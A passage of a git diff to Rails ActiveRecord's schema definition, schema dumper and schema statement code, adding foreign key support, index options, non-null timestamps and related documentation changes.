       # the decimal point. For example, the number 123.45 has a precision of 5
       # and a scale of 2. A decimal with a precision of 5 and a scale of 2 can
       # range from -999.99 to 999.99.
@@ -122,17 +235,8 @@ module ActiveRecord
       #   Default is (38,0).
       # * DB2: <tt>:precision</tt> [1..63], <tt>:scale</tt> [0..62].
       #   Default unknown.
-      # * Firebird: <tt>:precision</tt> [1..18], <tt>:scale</tt> [0..18].
-      #   Default (9,0). Internal types NUMERIC and DECIMAL have different
-      #   storage rules, decimal being better.
-      # * FrontBase?: <tt>:precision</tt> [1..38], <tt>:scale</tt> [0..38].
-      #   Default (38,0). WARNING Max <tt>:precision</tt>/<tt>:scale</tt> for
-      #   NUMERIC is 19, and DECIMAL is 38.
       # * SqlServer?: <tt>:precision</tt> [1..38], <tt>:scale</tt> [0..38].
       #   Default (38,0).
-      # * Sybase: <tt>:precision</tt> [1..38], <tt>:scale</tt> [0..38].
-      #   Default (38,0).
-      # * OpenBase?: Documentation unclear. Claims storage in <tt>double</tt>.
       #
       # This method returns <tt>self</tt>.
       #
@@ -171,20 +275,23 @@ module ActiveRecord
       # What can be written like this with the regular calls to column:
       #
       #   create_table :products do |t|
-      #     t.column :shop_id,    :integer
-      #     t.column :creator_id, :integer
-      #     t.column :name,       :string, default: "Untitled"
-      #     t.column :value,      :string, default: "Untitled"
-      #     t.column :created_at, :datetime
-      #     t.column :updated_at, :datetime
+      #     t.column :shop_id,     :integer
+      #     t.column :creator_id,  :integer
+      #     t.column :item_number, :string
+      #     t.column :name,        :string, default: "Untitled"
+      #     t.column :value,       :string, default: "Untitled"
+      #     t.column :created_at,  :datetime
+      #     t.column :updated_at,  :datetime
       #   end
+      #   add_index :products, :item_number
       #
       # can also be written as follows using the short-hand:
       #
       #   create_table :products do |t|
       #     t.integer :shop_id, :creator_id
+      #     t.string  :item_number, index: true
       #     t.string  :name, :value, default: "Untitled"
-      #     t.timestamps
+      #     t.timestamps null: false
       #   end
       #
       # There's a short-hand method for each of the type values declared at the top. And then there's
@@ -214,10 +321,12 @@ module ActiveRecord
         name = name.to_s
         type = type.to_sym
 
-        if primary_key_column_name == name
+        if @columns_hash[name] && @columns_hash[name].primary_key?
           raise ArgumentError, "you can't redefine the primary key column '#{name}'. To define a custom primary key, pass { id: false } to create_table."
         end
 
+        index_options = options.delete(:index)
+        index(name, index_options.is_a?(Hash) ? index_options : {}) if index_options
         @columns_hash[name] = new_column_definition(name, type, options)
         self
       end
@@ -226,7 +335,7 @@ module ActiveRecord
         @columns_hash.delete name.to_s
       end
 
-      [:string, :text, :integer, :float, :decimal, :datetime, :timestamp, :time, :date, :binary, :boolean].each do |column_type|
+      [:string, :text, :integer, :bigint, :float, :decimal, :datetime, :timestamp, :time, :date, :binary, :boolean].each do |column_type|
         define_method column_type do |*args|
           options = args.extract_options!
           column_names = args
@@ -242,40 +351,56 @@ module ActiveRecord
         indexes[column_name] = options
       end
 
+      def foreign_key(table_name, options = {}) # :nodoc:
+        foreign_keys[table_name] = options
+      end
+
       # Appends <tt>:datetime</tt> columns <tt>:created_at</tt> and
-      # <tt>:updated_at</tt> to the table.
+      # <tt>:updated_at</tt> to the table. See SchemaStatements#add_timestamps
+      #
+      #   t.timestamps null: false
       def timestamps(*args)
         options = args.extract_options!
+
+        options[:null] = false if options[:null].nil?
+
         column(:created_at, :datetime, options)
         column(:updated_at, :datetime, options)
       end
 
-      def references(*args)
-        options = args.extract_options!
-        polymorphic = options.delete(:polymorphic)
-        index_options = options.delete(:index)
+      # Adds a reference. Optionally adds a +type+ column, if the
+      # +:polymorphic+ option is provided. +references+ and +belongs_to+
+      # are acceptable. The reference column will be an +integer+ by default,
+      # the +:type+ option can be used to specify a different type. A foreign
+      # key will be created if the +:foreign_key+ option is passed.
+      #
+      #  t.references(:user)
+      #  t.references(:user, type: "string")
+      #  t.belongs_to(:supplier, polymorphic: true)
+      #
+      # See SchemaStatements#add_reference
+      def references(*args, **options)
         args.each do |col|
-          column("#{col}_id", :integer, options)
-          column("#{col}_type", :string, polymorphic.is_a?(Hash) ? polymorphic : options) if polymorphic
-          index(polymorphic ? %w(id type).map { |t| "#{col}_#{t}" } : "#{col}_id", index_options.is_a?(Hash) ? index_options : {}) if index_options
+          ReferenceDefinition.new(col, **options).add_to(self)
         end
       end
       alias :belongs_to :references
 
       def new_column_definition(name, type, options) # :nodoc:
+        type = aliased_types(type.to_s, type)
         column = create_column_definition name, type
         limit = options.fetch(:limit) do
           native[type][:limit] if native[type].is_a?(Hash)
         end
 
         column.limit       = limit
-        column.array       = options[:array] if column.respond_to?(:array)
         column.precision   = options[:precision]
         column.scale       = options[:scale]
         column.default     = options[:default]
         column.null        = options[:null]
         column.first       = options[:first]
         column.after       = options[:after]
+        column.auto_increment = options[:auto_increment]
         column.primary_key = type == :primary_key || options[:primary_key]
         column
       end
@@ -285,26 +410,37 @@ module ActiveRecord
         ColumnDefinition.new name, type
       end
 
-      def primary_key_column_name
-        primary_key_column = columns.detect { |c| c.primary_key? }
-        primary_key_column && primary_key_column.name
-      end
-
       def native
         @native
       end
+
+      def aliased_types(name, fallback)
+        'timestamp' == name ? :datetime : fallback
+      end
     end
 
     class AlterTable # :nodoc:
       attr_reader :adds
+      attr_reader :foreign_key_adds
+      attr_reader :foreign_key_drops
 
       def initialize(td)
         @td   = td
         @adds = []
+        @foreign_key_adds = []
+        @foreign_key_drops = []
       end
 
       def name; @td.name; end
 
+      def add_foreign_key(to_table, options)
+        @foreign_key_adds << ForeignKeyDefinition.new(name, to_table, options)
+      end
+
+      def drop_foreign_key(name)
+        @foreign_key_drops << name
+      end
+
       def add_column(name, type, options)
         name = name.to_s
         type = type.to_sym
@@ -346,156 +482,179 @@ module ActiveRecord
     #   end
     #
     class Table
+      attr_reader :name
+
       def initialize(table_name, base)
-        @table_name = table_name
+        @name = table_name
         @base = base
       end
 
       # Adds a new column to the named table.
-      # See TableDefinition#column for details of the options you can use.
       #
-      # ====== Creating a simple column
       #  t.column(:name, :string)
+      #
+      # See TableDefinition#column for details of the options you can use.
       def column(column_name, type, options = {})
-        @base.add_column(@table_name, column_name, type, options)
+        @base.add_column(name, column_name, type, options)
       end
 
-      # Checks to see if a column exists. See SchemaStatements#column_exists?
+      # Checks to see if a column exists.
+      #
+      # See SchemaStatements#column_exists?
       def column_exists?(column_name, type = nil, options = {})
-        @base.column_exists?(@table_name, column_name, type, options)
+        @base.column_exists?(name, column_name, type, options)
       end
 
       # Adds a new index to the table. +column_name+ can be a single Symbol, or
-      # an Array of Symbols. See SchemaStatements#add_index
+      # an Array of Symbols.
       #
-      # ====== Creating a simple index
       #  t.index(:name)
-      # ====== Creating a unique index
       #  t.index([:branch_id, :party_id], unique: true)
-      # ====== Creating a named index
       #  t.index([:branch_id, :party_id], unique: true, name: 'by_branch_party')
+      #
+      # See SchemaStatements#add_index for details of the options you can use.
       def index(column_name, options = {})
-        @base.add_index(@table_name, column_name, options)
+        @base.add_index(name, column_name, options)
       end
 
-      # Checks to see if an index exists. See SchemaStatements#index_exists?
+      # Checks to see if an index exists.
+      #
+      # See SchemaStatements#index_exists?
       def index_exists?(column_name, options = {})
-        @base.index_exists?(@table_name, column_name, options)
+        @base.index_exists?(name, column_name, options)
       end
 
       # Renames the given index on the table.
       #
       #  t.rename_index(:user_id, :account_id)
+      #
+      # See SchemaStatements#rename_index
       def rename_index(index_name, new_index_name)
-        @base.rename_index(@table_name, index_name, new_index_name)
+        @base.rename_index(name, index_name, new_index_name)
       end
 
-      # Adds timestamps (+created_at+ and +updated_at+) columns to the table. See SchemaStatements#add_timestamps
+      # Adds timestamps (+created_at+ and +updated_at+) columns to the table.
+      #
+      #  t.timestamps(null: false)
       #
-      #  t.timestamps
-      def timestamps
-        @base.add_timestamps(@table_name)
+      # See SchemaStatements#add_timestamps
+      def timestamps(options = {})
+        @base.add_timestamps(name, options)
       end
 
       # Changes the column's definition according to the new options.
-      # See TableDefinition#column for details of the options you can use.
       #
       #  t.change(:name, :string, limit: 80)
       #  t.change(:description, :text)
+      #
+      # See TableDefinition#column for details of the options you can use.
       def change(column_name, type, options = {})
-        @base.change_column(@table_name, column_name, type, options)
+        @base.change_column(name, column_name, type, options)
       end
 
-      # Sets a new default value for a column. See SchemaStatements#change_column_default
+      # Sets a new default value for a column.
       #
       #  t.change_default(:qualification, 'new')
       #  t.change_default(:authorized, 1)
+      #
+      # See SchemaStatements#change_column_default
       def change_default(column_name, default)
-        @base.change_column_default(@table_name, column_name, default)
+        @base.change_column_default(name, column_name, default)
       end
 
       # Removes the column(s) from the table definition.
       #
       #  t.remove(:qualification)
       #  t.remove(:qualification, :experience)
+      #
+      # See SchemaStatements#remove_columns
       def remove(*column_names)
-        @base.remove_columns(@table_name, *column_names)
+        @base.remove_columns(name, *column_names)
       end
 
       # Removes the given index from the table.
       #
-      # ====== Remove the index_table_name_on_column in the table_name table
-      #   t.remove_index :column
-      # ====== Remove the index named index_table_name_on_branch_id in the table_name table
-      #   t.remove_index column: :branch_id
-      # ====== Remove the index named index_table_name_on_branch_id_and_party_id in the table_name table
-      #   t.remove_index column: [:branch_id, :party_id]
-      # ====== Remove the index named by_branch_party in the table_name table
-      #   t.remove_index name: :by_branch_party
+      #   t.remove_index(:branch_id)
+      #   t.remove_index(column: [:branch_id, :party_id])
+      #   t.remove_index(name: :by_branch_party)
+      #
+      # See SchemaStatements#remove_index
       def remove_index(options = {})
-        @base.remove_index(@table_name, options)
+        @base.remove_index(name, options)
       end
 
       # Removes the timestamp columns (+created_at+ and +updated_at+) from the table.
       #
       #  t.remove_timestamps
-      def remove_timestamps
-        @base.remove_timestamps(@table_name)
+      #
+      # See SchemaStatements#remove_timestamps
+      def remove_timestamps(options = {})
+        @base.remove_timestamps(name, options)
       end
 
       # Renames a column.
       #
       #  t.rename(:description, :name)
+      #
+      # See SchemaStatements#rename_column
       def rename(column_name, new_column_name)
-        @base.rename_column(@table_name, column_name, new_column_name)
+        @base.rename_column(name, column_name, new_column_name)
       end
 
-      # Adds a reference. Optionally adds a +type+ column, if <tt>:polymorphic</tt> option is provided.
-      # <tt>references</tt> and <tt>belongs_to</tt> are acceptable.
+      # Adds a reference. Optionally adds a +type+ column, if
+      # <tt>:polymorphic</tt> option is provided.
       #
       #  t.references(:user)
+      #  t.references(:user, type: "string")
       #  t.belongs_to(:supplier, polymorphic: true)
+      #  t.belongs_to(:supplier, foreign_key: true)
       #
+      # See SchemaStatements#add_reference
       def references(*args)
         options = args.extract_options!
         args.each do |ref_name|
-          @base.add_reference(@table_name, ref_name, options)
+          @base.add_reference(name, ref_name, options)
         end
       end
       alias :belongs_to :references
 
       # Removes a reference. Optionally removes a +type+ column.
-      # <tt>remove_references</tt> and <tt>remove_belongs_to</tt> are acceptable.
       #
       #  t.remove_references(:user)
       #  t.remove_belongs_to(:supplier, polymorphic: true)
       #
+      # See SchemaStatements#remove_reference
       def remove_references(*args)
         options = args.extract_options!
         args.each do |ref_name|
-          @base.remove_reference(@table_name, ref_name, options)
+          @base.remove_reference(name, ref_name, options)
         end
       end
       alias :remove_belongs_to :remove_references
 
-      # Adds a column or columns of a specified type
+      # Adds a column or columns of a specified type.
       #
       #  t.string(:goat)
       #  t.string(:goat, :sheep)
+      #
+      # See SchemaStatements#add_column
       [:string, :text, :integer, :float, :decimal, :datetime, :timestamp, :time, :date, :binary, :boolean].each do |column_type|
         define_method column_type do |*args|
           options = args.extract_options!
-          args.each do |name|
-            @base.add_column(@table_name, name, column_type, options)
+          args.each do |column_name|
+            @base.add_column(name, column_name, column_type, options)
           end
         end
       end
 
+      def foreign_key(*args) # :nodoc:
+        @base.add_foreign_key(name, *args)
+      end
+
       private
         def native
           @base.native_database_types
         end
     end
-
   end
 end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_dumper.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_dumper.rb
index cdf0cbe218..932aaf7aa7 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/schema_dumper.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_dumper.rb
@@ -1,5 +1,3 @@
-require 'ipaddr'
-
 module ActiveRecord
   module ConnectionAdapters # :nodoc:
     # The goal of this module is to move Adapter specific column
@@ -8,31 +6,35 @@ module ActiveRecord
     # We can then redefine how certain data types may be handled in the schema dumper on the
     # Adapter level by over-writing this code inside the database specific adapters
     module ColumnDumper
-      def column_spec(column, types)
-        spec = prepare_column_options(column, types)
-        (spec.keys - [:name, :type]).each{ |k| spec[k].insert(0, "#{k.to_s}: ")}
+      def column_spec(column)
+        spec = prepare_column_options(column)
+        (spec.keys - [:name, :type]).each{ |k| spec[k].insert(0, "#{k}: ")}
         spec
       end
 
+      def column_spec_for_primary_key(column)
+        return if column.type == :integer
+        spec = { id: column.type.inspect }
+        spec.merge!(prepare_column_options(column).delete_if { |key, _| [:name, :type].include?(key) })
+      end
+
       # This can be overridden on a Adapter level basis to support other
       # extended datatypes (Example: Adding an array option in the
       # PostgreSQLAdapter)
-      def prepare_column_options(column, types)
+      def prepare_column_options(column)
         spec = {}
         spec[:name]      = column.name.inspect
+        spec[:type]      = column.type.to_s
+        spec[:null]      = 'false' unless column.null
 
-        # AR has an optimization which handles zero-scale decimals as integers. This
-        # code ensures that the dumper still dumps the column as a decimal.
-        spec[:type]      = if column.type == :integer && /^(numeric|decimal)/ =~ column.sql_type
-                             'decimal'
-                           else
-                             column.type.to_s
-                           end
-        spec[:limit]     = column.limit.inspect if column.limit != types[column.type][:limit] && spec[:type] != 'decimal'
+        limit = column.limit || native_database_types[column.type][:limit]
+        spec[:limit]     = limit.inspect if limit
         spec[:precision] = column.precision.inspect if column.precision
         spec[:scale]     = column.scale.inspect if column.scale
-        spec[:null]      = 'false' unless column.null
-        spec[:default]   = default_string(column.default) if column.has_default?
+
+        default = schema_default(column) if column.has_default?
+        spec[:default]   = default unless default.nil?
+
         spec
       end
 
@@ -43,28 +45,13 @@ module ActiveRecord
 
       private
 
-        def default_string(value)
-          case value
-          when BigDecimal
-            value.to_s
-          when Date, DateTime, Time
-            "'#{value.to_s(:db)}'"
-          when Range
-            # infinity dumps as Infinity, which causes uninitialized constant error
-            value.inspect.gsub('Infinity', '::Float::INFINITY')
-          when IPAddr
-            subnet_mask = value.instance_variable_get(:@mask_addr)
-
-            # If the subnet mask is equal to /32, don't output it
-            if subnet_mask == (2**32 - 1)
-              "\"#{value.to_s}\""
-            else
-              "\"#{value.to_s}/#{subnet_mask.to_s(2).count('1')}\""
-            end
-          else
-            value.inspect
-          end
+      def schema_default(column)
+        type = lookup_cast_type_from_column(column)
+        default = type.type_cast_from_database(column.default)
+        unless default.nil?
+          type.type_cast_for_schema(default)
         end
+      end
     end
   end
 end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
index 4b425494d0..c9180f64db 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
@@ -1,4 +1,6 @@
 require 'active_record/migration/join_table'
+require 'active_support/core_ext/string/access'
+require 'digest'
 
 module ActiveRecord
   module ConnectionAdapters # :nodoc:
@@ -40,16 +42,17 @@ module ActiveRecord
       #   index_exists?(:suppliers, :company_id, unique: true)
       #
       #   # Check an index with a custom name exists
-      #   index_exists?(:suppliers, :company_id, name: "idx_company_id"
+      #   index_exists?(:suppliers, :company_id, name: "idx_company_id")
       #
       def index_exists?(table_name, column_name, options = {})
-        column_names = Array(column_name)
-        index_name = options.key?(:name) ? options[:name].to_s : index_name(table_name, :column => column_names)
-        if options[:unique]
-          indexes(table_name).any?{ |i| i.unique && i.name == index_name }
-        else
-          indexes(table_name).any?{ |i| i.name == index_name }
-        end
+        column_names = Array(column_name).map(&:to_s)
+        index_name = options.key?(:name) ? options[:name].to_s : index_name(table_name, column: column_names)
+        checks = []
+        checks << lambda { |i| i.name == index_name }
+        checks << lambda { |i| i.columns == column_names }
+        checks << lambda { |i| i.unique } if options[:unique]
+
+        indexes(table_name).any? { |i| checks.all? { |check| check[i] } }
       end
 
       # Returns an array of Column objects for the table specified by +table_name+.
@@ -71,7 +74,8 @@ module ActiveRecord
       #   column_exists?(:suppliers, :tax, :decimal, precision: 8, scale: 2)
       #
       def column_exists?(table_name, column_name, type = nil, options = {})
-        columns(table_name).any?{ |c| c.name == column_name.to_s &&
+        column_name = column_name.to_s
+        columns(table_name).any?{ |c| c.name == column_name &&
                                       (!type                     || c.type == type) &&
                                       (!options.key?(:limit)     || c.limit == options[:limit]) &&
                                       (!options.key?(:precision) || c.precision == options[:precision]) &&
@@ -120,9 +124,9 @@ module ActiveRecord
       #   The name of the primary key, if one is to be added automatically.
       #   Defaults to +id+. If <tt>:id</tt> is false this option is ignored.
       #
-      #   Also note that this just sets the primary key in the table. You additionally
-      #   need to configure the primary key in the model via +self.primary_key=+.
-      #   Models do NOT auto-detect the primary key from their table definition.
+      #   Note that Active Record models will automatically detect their
+      #   primary key. This can be avoided by using +self.primary_key=+ on the model
+      #   to define the key explicitly.
       #
       # [<tt>:options</tt>]
       #   Any extra options you want appended to the table definition.
@@ -130,7 +134,11 @@ module ActiveRecord
       #   Make a temporary table.
       # [<tt>:force</tt>]
       #   Set to true to drop the table before creating it.
+      #   Set to +:cascade+ to drop dependent objects as well.
       #   Defaults to false.
+      # [<tt>:as</tt>]
+      #   SQL to use to generate the table. When this option is used, the block is
+      #   ignored, as are the <tt>:id</tt> and <tt>:primary_key</tt> options.
       #
       # ====== Add a backend specific option to the generated SQL (MySQL)
       #
@@ -169,14 +177,24 @@ module ActiveRecord
       #     supplier_id int
       #   )
       #
+      # ====== Create a temporary table based on a query
+      #
+      #   create_table(:long_query, temporary: true,
+      #     as: "SELECT * FROM orders INNER JOIN line_items ON order_id=orders.id")
+      #
+      # generates:
+      #
+      #   CREATE TEMPORARY TABLE long_query AS
+      #     SELECT * FROM orders INNER JOIN line_items ON order_id=orders.id
+      #
       # See also TableDefinition#column for details on how to create columns.
       def create_table(table_name, options = {})
-        td = create_table_definition table_name, options[:temporary], options[:options]
+        td = create_table_definition table_name, options[:temporary], options[:options], options[:as]
 
-        unless options[:id] == false
-          pk = options.fetch(:primary_key) {
+        if options[:id] != false && !options[:as]
+          pk = options.fetch(:primary_key) do
             Base.get_primary_key table_name.to_s.singularize
-          }
+          end
 
           td.primary_key pk, options.fetch(:id, :primary_key), options
         end
@@ -187,8 +205,19 @@ module ActiveRecord
           drop_table(table_name, options)
         end
 
-        execute schema_creation.accept td
-        td.indexes.each_pair { |c,o| add_index table_name, c, o }
+        result = execute schema_creation.accept td
+
+        unless supports_indexes_in_create?
+          td.indexes.each_pair do |column_name, index_options|
+            add_index(table_name, column_name, index_options)
+          end
+        end
+
+        td.foreign_keys.each_pair do |other_table_name, foreign_key_options|
+          add_foreign_key(table_name, other_table_name, foreign_key_options)
+        end
+
+        result
       end
 
       # Creates a new join table with the name created using the lexical order of the first two
@@ -345,11 +374,15 @@ module ActiveRecord
 
       # Drops a table from the database.
       #
-      # Although this command ignores +options+ and the block if one is given, it can be helpful
-      # to provide these in a migration's +change+ method so it can be reverted.
+      # [<tt>:force</tt>]
+      #   Set to +:cascade+ to drop dependent objects as well.
+      #   Defaults to false.
+      #
+      # Although this command ignores most +options+ and the block if one is given,
+      # it can be helpful to provide these in a migration's +change+ method so it can be reverted.
       # In that case, +options+ and the block will be used by create_table.
       def drop_table(table_name, options = {})
-        execute "DROP TABLE #{quote_table_name(table_name)}"
+        execute "DROP TABLE#{' IF EXISTS' if options[:if_exists]} #{quote_table_name(table_name)}"
       end
 
       # Adds a new column to the named table.
@@ -555,11 +588,13 @@ module ActiveRecord
       #   rename_index :people, 'index_people_on_last_name', 'index_users_on_last_name'
       #
       def rename_index(table_name, old_name, new_name)
+        validate_index_length!(table_name, new_name)
+
         # this is a naive implementation; some DBs may support this more efficiently (Postgres, for instance)
         old_index_def = indexes(table_name).detect { |i| i.name == old_name }
         return unless old_index_def
-        remove_index(table_name, :name => old_name)
-        add_index(table_name, old_index_def.columns, :name => new_name, :unique => old_index_def.unique)
+        add_index(table_name, old_index_def.columns, name: new_name, unique: old_index_def.unique)
+        remove_index(table_name, name: old_name)
       end
 
       def index_name(table_name, options) #:nodoc:
@@ -587,26 +622,32 @@ module ActiveRecord
       end
 
       # Adds a reference. Optionally adds a +type+ column, if <tt>:polymorphic</tt> option is provided.
+      # The reference column is an +integer+ by default, the <tt>:type</tt> option can be used to specify
+      # a different type.
       # <tt>add_reference</tt> and <tt>add_belongs_to</tt> are acceptable.
       #
-      # ====== Create a user_id column
+      # ====== Create a user_id integer column
       #
       #   add_reference(:products, :user)
       #
+      # ====== Create a user_id string column
+      #
+      #   add_reference(:products, :user, type: :string)
+      #
       # ====== Create a supplier_id and supplier_type columns
       #
       #   add_belongs_to(:products, :supplier, polymorphic: true)
       #
-      # ====== Create a supplier_id, supplier_type columns and appropriate index
+      # ====== Create supplier_id, supplier_type columns and appropriate index
       #
       #   add_reference(:products, :supplier, polymorphic: true, index: true)
       #
-      def add_reference(table_name, ref_name, options = {})
-        polymorphic = options.delete(:polymorphic)
-        index_options = options.delete(:index)
-        add_column(table_name, "#{ref_name}_id", :integer, options)
-        add_column(table_name, "#{ref_name}_type", :string, polymorphic.is_a?(Hash) ? polymorphic : options) if polymorphic
-        add_index(table_name, polymorphic ? %w[id type].map{ |t| "#{ref_name}_#{t}" } : "#{ref_name}_id", index_options.is_a?(Hash) ? index_options : {}) if index_options
+      # ====== Create a supplier_id column and appropriate foreign key
+      #
+      #   add_reference(:products, :supplier, foreign_key: true)
+      #
+      def add_reference(table_name, *args)
+        ReferenceDefinition.new(*args).add_to(update_table_definition(table_name, self))
       end
       alias :add_belongs_to :add_reference
 
@@ -621,12 +662,127 @@ module ActiveRecord
       #
       #   remove_reference(:products, :supplier, polymorphic: true)
       #
+      # ====== Remove the reference with a foreign key
+      #
+      #   remove_reference(:products, :user, index: true, foreign_key: true)
+      #
       def remove_reference(table_name, ref_name, options = {})
+        remove_foreign_key table_name, ref_name if options[:foreign_key]
+
         remove_column(table_name, "#{ref_name}_id")
         remove_column(table_name, "#{ref_name}_type") if options[:polymorphic]
       end
       alias :remove_belongs_to :remove_reference
 
+      # Returns an array of foreign keys for the given table.
+      # The foreign keys are represented as +ForeignKeyDefinition+ objects.
+      def foreign_keys(table_name)
+        raise NotImplementedError, "foreign_keys is not implemented"
+      end
+
+      # Adds a new foreign key. +from_table+ is the table with the key column,
+      # +to_table+ contains the referenced primary key.
+      #
+      # The foreign key will be named after the following pattern: <tt>fk_rails_<identifier></tt>.
+      # +identifier+ is a 10 character long random string. A custom name can be specified with
+      # the <tt>:name</tt> option.
+      #
+      # ====== Creating a simple foreign key
+      #
+      #   add_foreign_key :articles, :authors
+      #
+      # generates:
+      #
+      #   ALTER TABLE "articles" ADD CONSTRAINT articles_author_id_fk FOREIGN KEY ("author_id") REFERENCES "authors" ("id")
+      #
+      # ====== Creating a foreign key on a specific column
+      #
+      #   add_foreign_key :articles, :users, column: :author_id, primary_key: "lng_id"
+      #
+      # generates:
+      #
+      #   ALTER TABLE "articles" ADD CONSTRAINT fk_rails_58ca3d3a82 FOREIGN KEY ("author_id") REFERENCES "users" ("lng_id")
+      #
+      # ====== Creating a cascading foreign key
+      #
+      #   add_foreign_key :articles, :authors, on_delete: :cascade
+      #
+      # generates:
+      #
+      #   ALTER TABLE "articles" ADD CONSTRAINT articles_author_id_fk FOREIGN KEY ("author_id") REFERENCES "authors" ("id") ON DELETE CASCADE
+      #
+      # The +options+ hash can include the following keys:
+      # [<tt>:column</tt>]
+      #   The foreign key column name on +from_table+. Defaults to <tt>to_table.singularize + "_id"</tt>
+      # [<tt>:primary_key</tt>]
+      #   The primary key column name on +to_table+. Defaults to +id+.
+      # [<tt>:name</tt>]
+      #   The constraint name. Defaults to <tt>fk_rails_<identifier></tt>.
+      # [<tt>:on_delete</tt>]
+      #   Action that happens <tt>ON DELETE</tt>. Valid values are +:nullify+, +:cascade:+ and +:restrict+
+      # [<tt>:on_update</tt>]
+      #   Action that happens <tt>ON UPDATE</tt>. Valid values are +:nullify+, +:cascade:+ and +:restrict+
+      def add_foreign_key(from_table, to_table, options = {})
+        return unless supports_foreign_keys?
+
+        options[:column] ||= foreign_key_column_for(to_table)
+
+        options = {
+          column: options[:column],
+          primary_key: options[:primary_key],
+          name: foreign_key_name(from_table, options),
+          on_delete: options[:on_delete],
+          on_update: options[:on_update]
+        }
+        at = create_alter_table from_table
+        at.add_foreign_key to_table, options
+
+        execute schema_creation.accept(at)
+      end
+
+      # Removes the given foreign key from the table.
+      #
+      # Removes the foreign key on +accounts.branch_id+.
+      #
+      #   remove_foreign_key :accounts, :branches
+      #
+      # Removes the foreign key on +accounts.owner_id+.
+      #
+      #   remove_foreign_key :accounts, column: :owner_id
+      #
+      # Removes the foreign key named +special_fk_name+ on the +accounts+ table.
+      #
+      #   remove_foreign_key :accounts, name: :special_fk_name
+      #
+      def remove_foreign_key(from_table, options_or_to_table = {})
+        return unless supports_foreign_keys?
+
+        if options_or_to_table.is_a?(Hash)
+          options = options_or_to_table
+        else
+          options = { column: foreign_key_column_for(options_or_to_table) }
+        end
+
+        fk_name_to_delete = options.fetch(:name) do
+          fk_to_delete = foreign_keys(from_table).detect {|fk| fk.column == options[:column].to_s }
+
+          if fk_to_delete
+            fk_to_delete.name
+          else
+            raise ArgumentError, "Table '#{from_table}' has no foreign key on column '#{options[:column]}'"
+          end
+        end
+
+        at = create_alter_table from_table
+        at.drop_foreign_key fk_name_to_delete
+
+        execute schema_creation.accept(at)
+      end
+
+      def foreign_key_column_for(table_name) # :nodoc:
+        "#{table_name.to_s.singularize}_id"
+      end
+
       def dump_schema_information #:nodoc:
         sm_table = ActiveRecord::Migrator.schema_migrations_table_name
 
@@ -646,7 +802,7 @@ module ActiveRecord
         version = version.to_i
         sm_table = quote_table_name(ActiveRecord::Migrator.schema_migrations_table_name)
 
-        migrated = select_values("SELECT version FROM #{sm_table}").map { |v| v.to_i }
+        migrated = select_values("SELECT version FROM #{sm_table}").map(&:to_i)
         paths = migrations_paths.map {|p| "#{p}/[0-9]*_*.rb" }
         versions = Dir[*paths].map do |filename|
           filename.split('/').last.split('_').first.to_i
@@ -684,13 +840,19 @@ module ActiveRecord
               raise ArgumentError, "Error adding decimal column: precision cannot be empty if scale is specified"
             end
 
+          elsif [:datetime, :time].include?(type) && precision ||= native[:precision]
+            if (0..6) === precision
+              column_type_sql << "(#{precision})"
+            else
+              raise(ActiveRecordError, "No #{native[:name]} type has precision of #{precision}. The allowed range of precision is from 0 to 6")
+            end
           elsif (type != :primary_key) && (limit ||= native.is_a?(Hash) && native[:limit])
             column_type_sql << "(#{limit})"
           end
 
           column_type_sql
         else
-          type
+          type.to_s
         end
       end
 
@@ -699,28 +861,69 @@ module ActiveRecord
       # require the order columns appear in the SELECT.
       #
       #   columns_for_distinct("posts.id", ["posts.created_at desc"])
-      def columns_for_distinct(columns, orders) # :nodoc:
+      def columns_for_distinct(columns, orders) #:nodoc:
         columns
       end
 
-      # Adds timestamps (+created_at+ and +updated_at+) columns to the named table.
+      # Adds timestamps (+created_at+ and +updated_at+) columns to +table_name+.
+      # Additional options (like <tt>null: false</tt>) are forwarded to #add_column.
       #
-      #   add_timestamps(:suppliers)
+      #   add_timestamps(:suppliers, null: false)
       #
-      def add_timestamps(table_name)
-        add_column table_name, :created_at, :datetime
-        add_column table_name, :updated_at, :datetime
+      def add_timestamps(table_name, options = {})
+        options[:null] = false if options[:null].nil?
+
+        add_column table_name, :created_at, :datetime, options
+        add_column table_name, :updated_at, :datetime, options
       end
 
       # Removes the timestamp columns (+created_at+ and +updated_at+) from the table definition.
       #
       #  remove_timestamps(:suppliers)
       #
-      def remove_timestamps(table_name)
+      def remove_timestamps(table_name, options = {})
         remove_column table_name, :updated_at
         remove_column table_name, :created_at
       end
 
+      def update_table_definition(table_name, base) #:nodoc:
+        Table.new(table_name, base)
+      end
+
+      def add_index_options(table_name, column_name, options = {}) #:nodoc:
+        column_names = Array(column_name)
+        index_name   = index_name(table_name, column: column_names)
+
+        options.assert_valid_keys(:unique, :order, :name, :where, :length, :internal, :using, :algorithm, :type)
+
+        index_type = options[:unique] ? "UNIQUE" : ""
+        index_type = options[:type].to_s if options.key?(:type)
+        index_name = options[:name].to_s if options.key?(:name)
+        max_index_length = options.fetch(:internal, false) ? index_name_length : allowed_index_name_length
+
+        if options.key?(:algorithm)
+          algorithm = index_algorithms.fetch(options[:algorithm]) {
+            raise ArgumentError.new("Algorithm must be one of the following: #{index_algorithms.keys.map(&:inspect).join(', ')}")
+          }
+        end
+
+        using = "USING #{options[:using]}" if options[:using].present?
+
+        if supports_partial_index?
+          index_options = options[:where] ? " WHERE #{options[:where]}" : ""
+        end
+
+        if index_name.length > max_index_length
+          raise ArgumentError, "Index name '#{index_name}' on table '#{table_name}' is too long; the limit is #{max_index_length} characters"
+        end
+        if table_exists?(table_name) && index_name_exists?(table_name, index_name, false)
+          raise ArgumentError, "Index name '#{index_name}' on table '#{table_name}' already exists"
+        end
+        index_columns = quoted_columns_for_index(column_names, options).join(", ")
+
+        [index_name, index_type, index_columns, index_options, algorithm, using]
+      end
+
       protected
         def add_index_sort_order(option_strings, column_names, options = {})
           if options.is_a?(Hash) && order = options[:order]
@@ -735,7 +938,7 @@ module ActiveRecord
           return option_strings
         end
 
-        # Overridden by the mysql adapter for supporting index lengths
+        # Overridden by the MySQL adapter for supporting index lengths
         def quoted_columns_for_index(column_names, options = {})
           option_strings = Hash[column_names.map {|name| [name, '']}]
 
